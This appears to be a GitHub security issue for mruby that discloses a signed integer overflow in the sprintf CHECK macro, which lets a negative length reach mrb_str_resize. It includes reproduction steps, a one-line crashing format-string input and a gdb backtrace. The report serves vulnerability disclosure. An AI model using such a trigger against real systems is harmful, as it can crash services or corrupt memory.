Signed integer overflow in mrb_str_format #4062
Description
The check macro (in /mrbgems/mruby-sprintf/src/sprintf.c) contains an signed integer overflow in bsize:
#define CHECK(l) do {\
/* int cr = ENC_CODERANGE(result);*/\
while ((l) >= bsiz - blen) {\
bsiz*=2;\
if (bsiz < 0) mrb_raise(mrb, E_ARGUMENT_ERROR, "too big specifier"); \
}\
mrb_str_resize(mrb, result, bsiz);\
/* ENC_CODERANGE_SET(result, cr);*/\
buf = RSTRING_PTR(result);\
} while (0)bsiz*=2 can become negative. However with -O2 the mrb_raise is never triggered, since bsiz is a signed integer. Signed integer overflows are undefined behaviour and thus gcc removes the check.
This results in negative integers being passed to mrb_str_resize, which will set the string length without further checks. This can potentially result in a oversized string that allows to access arbitrary memory.
In our experiments building with gcc in version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) produces the vulnerable binary while clang generated a safe executable.
MRB_API mrb_value
mrb_str_resize(mrb_state *mrb, mrb_value str, mrb_int len)
{
mrb_int slen;
struct RString *s = mrb_str_ptr(str);
mrb_str_modify(mrb, s);
slen = RSTR_LEN(s);
if (len != slen) {
if (slen < len || slen - len > 256) { //check passes if len < 0
resize_capa(mrb, s, len);
}
RSTR_SET_LEN(s, len); //string len is set to a large value
RSTR_PTR(s)[len] = '\0'; /* sentinel */ //oob access
}
return str;
}Reproduce:
git clone https://github.com/mruby/mruby.git
cd mruby
git checkout 351614bbddb5f612ecf9572e975e78e058d2bf11
make
echo "' %8646911284551352320d'%1" | ./bin/mruby
Segmentation fault (core dumped)
Backtrace in gdb:
Starting program: /home/sergej/mruby/bin/mruby < crash1
Program received signal SIGSEGV, Segmentation fault.
0x000000000041d7d7 in mrb_str_resize (mrb=mrb@entry=0x6b8010,
str=..., len=len@entry=-9223372036854775808)
at /home/sergej/mruby/src/string.c:718
718 RSTR_PTR(s)[len] = '\0'; /* sentinel */
(gdb) bt
#0 0x000000000041d7d7 in mrb_str_resize (
mrb=mrb@entry=0x6b8010, str=...,
len=len@entry=-9223372036854775808)
at /home/sergej/mruby/src/string.c:718
#1 0x000000000046615c in mrb_str_format (
mrb=mrb@entry=0x6b8010, argc=<optimized out>,
argv=<optimized out>, fmt=...)
at /home/sergej/mruby/mrbgems/mruby-sprintf/src/sprintf.c:966
#2 0x0000000000468492 in mrb_f_sprintf (mrb=0x6b8010, obj=...)
at /home/sergej/mruby/mrbgems/mruby-sprintf/src/sprintf.c:520
#3 0x0000000000447231 in mrb_vm_exec (mrb=mrb@entry=0x6b8010,
proc=<optimized out>, proc@entry=0x6b8f00,
pc=<optimized out>) at /home/sergej/mruby/src/vm.c:1477
#4 0x0000000000449ecc in mrb_vm_run (mrb=0x6b8010,
proc=0x6b8f00, self=..., stack_keep=<optimized out>)
at /home/sergej/mruby/src/vm.c:948
#5 0x000000000044bf99 in mrb_top_run (mrb=mrb@entry=0x6b8010,
proc=proc@entry=0x6b8f00, self=...,
stack_keep=stack_keep@entry=0)
at /home/sergej/mruby/src/vm.c:3010
#6 0x0000000000441021 in mrb_load_exec (mrb=mrb@entry=0x6b8010,
p=<optimized out>, c=c@entry=0x711850)
at /home/sergej/mruby/mrbgems/mruby-compiler/core/parse.y:5835
#7 0x0000000000442e85 in mrb_load_file_cxt (
mrb=mrb@entry=0x6b8010, f=0x7ffff7ac88e0 <_IO_2_1_stdin_>,
c=c@entry=0x711850)
at /home/sergej/mruby/mrbgems/mruby-compiler/core/parse.y:5844
#8 0x0000000000402dc7 in main (argc=<optimized out>,
argv=<optimized out>)
at /home/sergej/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:279
Credits:
This issue was reported by Sergej Schumilo, Daniel Teuchert and Cornelius Aschermann (https://hackerone.com/schumilo).
Impact
This results in negative integers being passed to mrb_str_resize, which will set the string length without further checks. This can potentially result in a oversized string that allows to access arbitrary memory.